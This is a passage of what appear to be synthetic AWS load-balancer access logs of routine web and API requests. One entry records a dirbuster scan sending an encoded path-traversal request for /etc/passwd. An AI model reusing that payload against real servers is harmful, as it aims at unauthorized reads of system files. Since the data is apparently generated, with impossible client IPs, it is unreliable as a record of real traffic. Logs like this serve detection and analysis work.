"-" "-" +http 2024-11-01T00:29:36.119895Z staging-alb 50.111.122.121:17941 220.134.139.172:8080 0.019214 0.346461 0.028540 404 404 338 1768 "GET /web/test HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723be80-a30faf5c564d48ff91351b21" "staging-alb.example.com" "-" 0 2024-11-01T00:29:36.119895Z "forward" "-" "-" "220.134.139.172:8080" "404" "-" "-" +http 2024-11-01T00:29:36.937525Z staging-alb 26.89.7.39:43725 153.148.231.88:80 0.033856 0.123131 0.108857 200 200 969 11760 "GET /staging/health HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723be80-323b26a9401d4e6cb9c14e96" "staging-alb.example.com" "-" 0 2024-11-01T00:29:36.937525Z "forward" "-" "-" "153.148.231.88:80" "200" "-" "-" +https 2024-11-01T00:29:38.630507Z prod-web-alb 193.214.44.190:54159 10.0.226.184:443 0.051819 0.130946 0.073511 200 200 567 14494 "GET /cart HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723be82-c7ea06c000cd4d65a88cf8e8" "prod-web-alb.example.com" "-" 10 2024-11-01T00:29:38.630507Z "forward" "-" "-" "10.0.226.184:443" "200" "-" "-" +https 2024-11-01T00:29:39.948137Z prod-api-alb 80.246.128.213:31689 10.0.240.36:443 0.095755 0.302655 0.072045 200 200 802 7322 "GET /api/v2/users HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723be83-700c78a10ac34e138d63b7aa" "prod-api-alb.example.com" "-" 7 2024-11-01T00:29:39.948137Z "forward" "-" "-" "10.0.240.36:443" "200" "-" "-" +https 2024-11-01T00:29:41.845896Z prod-api-alb 112.76.79.252:28318 10.0.111.122:443 0.009214 0.468704 0.037290 404 404 271 1202 "GET /api/v2/users HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723be85-1cac498ad0ef42678d30c780" "prod-api-alb.example.com" "-" 1 2024-11-01T00:29:41.845896Z "forward" "-" "-" "10.0.111.122:443" "404" "-" "-" +https 2024-11-01T00:29:43.072257Z prod-web-alb 111.146.227.40:22642 10.0.103.185:443 0.064950 0.128752 0.053311 301 301 653 6884 "GET /assets/main.css HTTP/1.1" "Python-urllib/3.8" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723be87-04576eca73dd4290b9ebd1f9" "prod-web-alb.example.com" "-" 5 2024-11-01T00:29:43.072257Z "forward" "-" "-" "10.0.103.185:443" "301" "-" "-" +http 2024-11-01T00:29:43.571032Z staging-alb 90.200.64.136:38410 158.116.69.112:443 0.046311 0.635440 0.138487 200 200 772 12013 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723be87-06fe824648534a7891231764" "staging-alb.example.com" "-" 8 2024-11-01T00:29:43.571032Z "forward" "-" "-" "158.116.69.112:443" "200" "-" "-" +https 2024-11-01T00:29:44.376776Z staging-alb 78.127.115.181:38314 72.146.109.165:8080 0.066325 0.107883 0.022691 200 200 103 10347 "GET /api/v1/products HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723be88-341c22c4ae8b4c1c8aa22f09" "-" "-" 5 2024-11-01T00:29:44.376776Z "forward" "-" "-" "72.146.109.165:8080" "200" "-" "-" +https 2024-11-01T00:29:45.655885Z prod-api-alb 172.70.120.71:64952 10.0.74.170:443 0.098433 0.407977 0.097900 200 200 920 13352 "GET /api/v1/orders HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723be89-fa5b803ee267402f88b986d7" "prod-api-alb.example.com" "-" 9 2024-11-01T00:29:45.655885Z "forward" "-" "-" "10.0.74.170:443" "200" "-" "-" +https 2024-11-01T00:29:45.794317Z prod-web-alb 55.120.131.162:39578 10.0.138.136:443 0.088193 0.279035 0.073903 200 200 894 8959 "GET /assets/main.css HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723be89-85574ab31ace495fa3ceaac8" "prod-web-alb.example.com" "-" 5 2024-11-01T00:29:45.794317Z "forward" "-" "-" "10.0.138.136:443" "200" "-" "-" +https 2024-11-01T00:29:46.846410Z prod-web-alb 239.135.187.36:48417 10.0.189.123:443 0.031483 0.204789 0.043379 200 200 95 14908 "GET /checkout HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723be8a-1c06222c5de647c2a11f4ff1" "prod-web-alb.example.com" "-" 1 2024-11-01T00:29:46.846410Z "forward" "-" "-" "10.0.189.123:443" "200" "-" "-" +https 2024-11-01T00:29:48.751844Z prod-web-alb 110.113.246.99:25793 10.0.137.70:443 0.089329 0.430720 0.046096 302 302 742 11860 "GET /cart HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723be8c-e452a958d29044ab9a22f735" "prod-web-alb.example.com" "-" 2 2024-11-01T00:29:48.751844Z "forward" "-" "-" "10.0.137.70:443" "302" "-" "-" +https 2024-11-01T00:29:49.704690Z prod-api-alb 166.8.128.228:39691 10.0.41.250:443 0.082147 0.407984 0.087409 200 200 592 11993 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723be8d-72eec5e9e7e8458bb2985550" "prod-api-alb.example.com" "-" 5 2024-11-01T00:29:49.704690Z "forward" "-" "-" "10.0.41.250:443" "200" "-" "-" +https 2024-11-01T00:29:51.123593Z prod-api-alb 193.123.12.37:22851 10.0.43.246:443 0.066955 0.192680 0.013509 200 200 758 894 "GET /api/v2/users HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723be8f-d3212194b6324ae9be5330ec" "prod-api-alb.example.com" "-" 7 2024-11-01T00:29:51.123593Z "forward" "-" "-" "10.0.43.246:443" "200" "-" "-" +https 2024-11-01T00:29:52.745697Z prod-api-alb 31.221.117.154:56742 10.0.75.133:443 0.092948 0.310411 0.043063 200 200 550 8593 "GET /api/health HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723be90-500a3974c099485a8f080592" "prod-api-alb.example.com" "-" 4 2024-11-01T00:29:52.745697Z "forward" "-" "-" "10.0.75.133:443" "200" "-" "-" +https 2024-11-01T00:29:53.222274Z prod-web-alb 193.27.228.120:61046 10.0.213.42:443 0.056550 0.101637 0.025463 404 404 207 6943 "GET /assets/..%2f..%2f..%2fetc/passwd HTTP/1.1" "dirbuster/1.0-RC1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723be91-218f30b4df5e4eefaee580c9" "-" "-" 5 2024-11-01T00:29:53.222274Z "forward" "-" "-" "10.0.213.42:443" "404" "-" "-" +https 2024-11-01T00:29:54.353766Z prod-api-alb 81.225.166.200:50962 10.0.11.135:443 0.005311 0.392687 0.034841 200 200 373 13144 "GET /api/v2/users HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723be92-be6987b4677d4656bc2c6744" "prod-api-alb.example.com" "-" 1 2024-11-01T00:29:54.353766Z "forward" "-" "-" "10.0.11.135:443" "200" "-" "-" +https 2024-11-01T00:29:55.868993Z prod-web-alb 172.146.230.227:50220 10.0.92.62:443 0.083773 0.429739 0.049367 404 404 895 12453 "GET /products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723be93-0330073b56764438a1eee500" "prod-web-alb.example.com" "-" 0 2024-11-01T00:29:55.868993Z "forward" "-" "-" "10.0.92.62:443" "404" "-" "-" +https 2024-11-01T00:29:56.017101Z prod-api-alb 105.52.18.78:36009 10.0.254.127:443 0.041008 0.340105 0.021731 200 200 569 2735 "GET /api/v1/orders HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723be94-7b671dc894184b47b3ce6ca4" "prod-api-alb.example.com" "-" 8 2024-11-01T00:29:56.017101Z "forward" "-" "-" "10.0.254.127:443" "200" "-" "-" +https 2024-11-01T00:29:56.301086Z prod-web-alb 100.252.128.2:38123 10.0.82.240:443 0.077170 0.198362 0.065973 200 200 706 7337 "GET /assets/main.css HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723be94-e2a52dac87c744609f6380ed" "prod-web-alb.example.com" "-" 5 2024-11-01T00:29:56.301086Z "forward" "-" "-" "10.0.82.240:443" "200" "-" "-" +https 2024-11-01T00:29:58.222718Z prod-web-alb 85.14.246.144:19038 10.0.78.148:443 0.094095 0.434409 0.055637 301 301 230 9000 "GET /assets/main.css HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723be96-8b1644a5bac749a6a9355225" "prod-web-alb.example.com" "-" 2 2024-11-01T00:29:58.222718Z "forward" "-" "-" "10.0.78.148:443" "301" "-" "-" +http 2024-11-01T00:29:59.071128Z staging-alb 168.208.43.156:23729 11.235.31.212:443 0.005477 0.408027 0.052778 200 200 644 5304 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723be97-4fc8cc2175014212888ed459" "staging-alb.example.com" "-" 0 2024-11-01T00:29:59.071128Z "forward" "-" "-" "11.235.31.212:443" "200" "-" "-" +https 2024-11-01T00:30:00.323423Z prod-web-alb 130.13.210.157:63769 10.0.204.210:443 0.092235 0.402265 0.089167 200 200 801 11833 "GET /products HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723be98-fec6828cb42847aa9cab4ea3" "prod-web-alb.example.com" "-" 5 2024-11-01T00:30:00.323423Z "forward" "-" "-" "10.0.204.210:443" "200" "-" "-" +https 2024-11-01T00:30:00.608145Z prod-api-alb 255.49.53.145:53399 10.0.106.85:443 0.093671 0.376921 0.099472 302 302 422 13254 "GET /api/v2/users HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723be98-79539f5170164c46b99b1605" "prod-api-alb.example.com" "-" 4 2024-11-01T00:30:00.608145Z "forward" "-" "-" "10.0.106.85:443" "302" "-" "-" +https 2024-11-01T00:30:01.588822Z staging-alb 253.73.138.157:33527 120.247.188.152:443 0.096281 0.676383 0.077644 301 301 368 6363 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723be99-5e4d7d8e111e41a4952664fb" "staging-alb.example.com" "-" 9 2024-11-01T00:30:01.588822Z "forward" "-" "-" "120.247.188.152:443" "301" "-" "-" +http 2024-11-01T00:30:03.343516Z staging-alb 99.133.78.242:21304 86.9.16.237:443 0.012151 0.623516 0.019052 200 200 7 2399 "GET /web/test HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723be9b-4d77af8bfb7e44edac7acfef" "staging-alb.example.com" "-" 3 2024-11-01T00:30:03.343516Z "forward" "-" "-" "86.9.16.237:443" "200" "-" "-" +https 2024-11-01T00:30:03.849268Z prod-web-alb 10.61.248.37:44861 10.0.145.132:443 0.062218 0.437877 0.017815 301 301 350 7169 "GET /products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723be9b-1f81bff5f5944c8ba981b96a" "prod-web-alb.example.com" "-" 5 2024-11-01T00:30:03.849268Z "forward" "-" "-" "10.0.145.132:443" "301" "-" "-" +https 2024-11-01T00:30:04.059628Z prod-web-alb 49.254.4.38:40035 10.0.98.117:443 0.052015 0.042764 0.079392 404 404 20 8607 "GET /cart HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723be9c-ed961c88ac5e42c8ad7593fc" "prod-web-alb.example.com" "-" 1 2024-11-01T00:30:04.059628Z "forward" "-" "-" "10.0.98.117:443" "404" "-" "-" +https 2024-11-01T00:30:05.030149Z prod-api-alb 117.61.123.69:48873 10.0.83.152:443 0.090049 0.288937 0.069367 301 301 903 485 "GET /api/v2/users HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723be9d-2efcd4db11114cc2b19a6216" "prod-api-alb.example.com" "-" 2 2024-11-01T00:30:05.030149Z "forward" "-" "-" "10.0.83.152:443" "301" "-" "-" +https 2024-11-01T00:30:06.023673Z prod-web-alb 191.35.30.29:11131 10.0.172.99:443 0.052541 0.029248 0.070321 200 200 894 6127 "GET /assets/main.css HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723be9e-b9d461eb6794450ca3e3f64a" "prod-web-alb.example.com" "-" 0 2024-11-01T00:30:06.023673Z "forward" "-" "-" "10.0.172.99:443" "200" "-" "-" +https 2024-11-01T00:30:06.248021Z prod-api-alb 70.183.206.152:43591 10.0.34.23:443 0.062515 0.487526 0.036817 200 200 448 12508 "GET /api/health HTTP/1.1" "curl/7.64.1" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723be9e-cbc8439d803d421c971e6bb3" "prod-api-alb.example.com" "-" 9 2024-11-01T00:30:06.248021Z "forward" "-" "-" "10.0.34.23:443" "200" "-" "-" +https 2024-11-01T00:30:07.737739Z prod-web-alb 208.125.141.85:63712 10.0.133.224:443 0.084645 0.407121 0.008900 302 302 591 7450 "GET /checkout HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723be9f-40c059f9bebc4b45a5379f8f" "prod-web-alb.example.com" "-" 1 2024-11-01T00:30:07.737739Z "forward" "-" "-" "10.0.133.224:443" "302" "-" "-" +https 2024-11-01T00:30:08.333746Z prod-web-alb 186.32.159.217:39870 10.0.90.112:443 0.056073 0.141720 0.051023 404 404 268 4161 "GET /cart HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723bea0-f7d3be051559454885d3f4e5" "prod-web-alb.example.com" "-" 1 2024-11-01T00:30:08.333746Z "forward" "-" "-" "10.0.90.112:443" "404" "-" "-" +https 2024-11-01T00:30:09.542983Z prod-api-alb 79.185.160.194:28619 10.0.245.228:443 0.057217 0.453405 0.017749 404 404 188 14318 "GET /api/health HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723bea1-e736a507f1a04a1399902064" "prod-api-alb.example.com" "-" 6 2024-11-01T00:30:09.542983Z "forward" "-" "-" "10.0.245.228:443" "404" "-" "-" +https 2024-11-01T00:30:09.912752Z prod-web-alb 15.63.68.40:11545 10.0.201.122:443 0.069070 0.041152 0.016152 200 200 469 13701 "GET /assets/main.css HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723bea1-018feb8e0f844075b6a5f899" "prod-web-alb.example.com" "-" 0 2024-11-01T00:30:09.912752Z "forward" "-" "-" "10.0.201.122:443" "200" "-" "-" +https 2024-11-01T00:30:11.146119Z prod-web-alb 211.110.167.163:24409 10.0.254.239:443 0.008150 0.087980 0.081736 200 200 328 9459 "GET /checkout HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723bea3-559067bb0999454ca9fdc144" "prod-web-alb.example.com" "-" 6 2024-11-01T00:30:11.146119Z "forward" "-" "-" "10.0.254.239:443" "200" "-" "-" +http 2024-11-01T00:30:12.447887Z staging-alb 112.56.189.117:12230 150.211.158.235:80 0.026550 0.107286 0.019660 301 301 615 1888 "GET /staging/health HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723bea4-77c5b4190b6f4090b79b333d" "staging-alb.example.com" "-" 1 2024-11-01T00:30:12.447887Z "forward" "-" "-" "150.211.158.235:80" "301" "-" "-" +http 2024-11-01T00:30:13.071103Z staging-alb 4.36.88.185:21913 78.246.137.91:8080 0.083186 0.678197 0.138438 200 200 286 6313 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723bea5-0c5cce11611145219300589b" "staging-alb.example.com" "-" 3 2024-11-01T00:30:13.071103Z "forward" "-" "-" "78.246.137.91:8080" "200" "-" "-" +https 2024-11-01T00:30:13.957249Z prod-api-alb 22.141.247.90:34613 10.0.61.21:443 0.009052 0.039686 0.070274 200 200 615 6246 "GET /api/health HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723bea5-920ecf0bdecd4763b2dcc720" "prod-api-alb.example.com" "-" 5 2024-11-01T00:30:13.957249Z "forward" "-" "-" "10.0.61.21:443" "200" "-" "-" +https 2024-11-01T00:30:15.204192Z prod-api-alb 39.217.227.25:15616 10.0.175.95:443 0.044738 0.454556 0.008450 200 200 114 10487 "GET /api/v1/orders HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723bea7-fbbee12023f040a38655c0d9" "prod-api-alb.example.com" "-" 2 2024-11-01T00:30:15.204192Z "forward" "-" "-" "10.0.175.95:443" "200" "-" "-" +https 2024-11-01T00:30:16.223179Z staging-alb 44.115.91.118:53940 158.109.232.170:443 0.137287 0.420668 0.000118 404 404 307 2170 "GET /api/v1/products HTTP/1.1" "curl/7.64.1" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723bea8-5eda3d9205524cd38d5e995c" "staging-alb.example.com" "-" 6 2024-11-01T00:30:16.223179Z "forward" "-" "-" "158.109.232.170:443" "404" "-" "-" +https 2024-11-01T00:30:17.468994Z prod-api-alb 86.31.90.178:53953 10.0.35.209:443 0.002350 0.377961 0.066254 302 302 222 5471 "GET /api/health HTTP/1.1" "curl/7.64.1" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723bea9-b4191dfa804d44bba1e141aa" "prod-api-alb.example.com" "-" 10 2024-11-01T00:30:17.468994Z "forward" "-" "-" "10.0.35.209:443" "302" "-" "-" +https 2024-11-01T00:30:17.849051Z prod-api-alb 204.192.49.78:34200 10.0.175.103:443 0.097524 0.080766 0.050103 200 200 166 4658 "GET /api/v1/products HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723bea9-c767caed2f8940519dec891c" "-" "-" 9 2024-11-01T00:30:17.849051Z "forward" "-" "-" "10.0.175.103:443" "200" "-" "-" +https 2024-11-01T00:30:19.295114Z prod-web-alb 186.148.160.162:38832 10.0.213.182:443 0.038980 0.219023 0.097929 302 302 893 4577 "GET /images/logo.png HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723beab-05e263e13cad4f72a90c6523" "prod-web-alb.example.com" "-" 9 2024-11-01T00:30:19.295114Z "forward" "-" "-" "10.0.213.182:443" "302" "-" "-" +https 2024-11-01T00:30:20.639425Z prod-api-alb 61.172.20.228:31006 10.0.26.229:443 0.015808 0.045474 0.085177 301 301 611 3685 "GET /api/v2/users HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723beac-0154253295424a2e82937799" "prod-api-alb.example.com" "-" 10 2024-11-01T00:30:20.639425Z "forward" "-" "-" "10.0.26.229:443" "301" "-" "-" +https 2024-11-01T00:30:20.875997Z prod-web-alb 144.78.227.164:63357 10.0.64.47:443 0.098843 0.395627 0.084819 301 301 695 8378 "GET /cart HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723beac-b7e5867a99d94460a31fd20d" "prod-web-alb.example.com" "-" 4 2024-11-01T00:30:20.875997Z "forward" "-" "-" "10.0.64.47:443" "301" "-" "-" +https 2024-11-01T00:30:21.355520Z prod-api-alb 247.240.35.234:33794 10.0.132.65:443 0.057810 0.454336 0.051922 200 200 298 1561 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723bead-b1e6eb4a2f3c42c3b2641b00" "prod-api-alb.example.com" "-" 6 2024-11-01T00:30:21.355520Z "forward" "-" "-" "10.0.132.65:443" "200" "-" "-" +https 2024-11-01T00:30:22.474021Z prod-web-alb 225.241.138.197:14827 10.0.30.122:443 0.050509 0.254926 0.045939 200 200 583 8475 "GET /cart HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" 